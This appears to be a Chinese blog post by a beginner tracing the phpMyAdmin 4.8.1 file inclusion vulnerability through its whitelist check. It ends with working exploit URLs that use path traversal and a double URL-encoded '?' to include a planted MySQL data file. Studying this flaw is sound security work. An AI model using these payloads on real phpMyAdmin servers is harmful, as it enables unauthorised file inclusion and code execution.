更开始接触代码,理解不深,大佬放过! 不过还是发现调试代码的乐趣,所有的东西都清清楚楚。
环境: phpmyadmin4.8.1 vscode
可以去官网下载: phpMyAdmin-4.8.0.1-all-languages
方式:逆向回溯法
先来看漏洞爆发点
$_REQUEST 获取target参数,由前端传来。向上分析 对index.php?target= 进行了过滤
!empty($_REQUEST[‘target’]) 不为空,这个容易满足;
is_string 为字符串也容易满足
不能以index开头,也很容易满足
先转化为数组,判断target在不在黑名单里面 等会看代码
最后调用Core::checkPageValidity方法
先来看看checkPageValidity方法,index.php?target=db_sql.php 尝试跟踪
定义了writelist=[],然后判断为空,调用self::$goto_whitelist 属性
赋值后 writelist为:
这里$page 其实即使target传递的值,然后判断非空,不为字符串则返回false,
根据前面的代码,它这块应该是想判断若为空或者不是字符串则返回false,因此没有前面的! isset()
继续跟进
这里返回true
然后最后一步
进行了包含 db_sql.php文件
等等好像忘了个黑名单
那么我们应该怎么构造我们的payload呢??
先通过phpmyadmin信息收集,查看文件路径以及mysql数据库数据存放路径
select @@datadir; 得到物理路径,然后创建库表,插入数据
再次构造POC:
index.php?target=db_sql.php/…/…/…/…/…/…/…/files_stored/PHPTutorial/MySQL/data/test_include/test_include.MYD
再次调试
可以看到 $page是经过?截断然后和白名单里面比较的这里没有截断,所以返回false
因此我们的payload修改为
index.php?target=db_sql.php?/…/…/…/…/…/…/…/files_stored/PHPTutorial/MySQL/data/test_include/test_include.MYD
继续跟进
截断后为db_sql.php
返回为true
但是这块还需要url解码,因此我们需要将? url编码
新的payload:
index.php?target=db_sql.php%3f/…/…/…/…/…/…/…/files_stored/PHPTutorial/MySQL/data/test_include/test_include.MYD
浏览器自动解码了一次
因此我们需要将?二次编码,最终payload为:
index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/files_stored/PHPTutorial/MySQL/data/test_include/test_include.MYD
利用成功!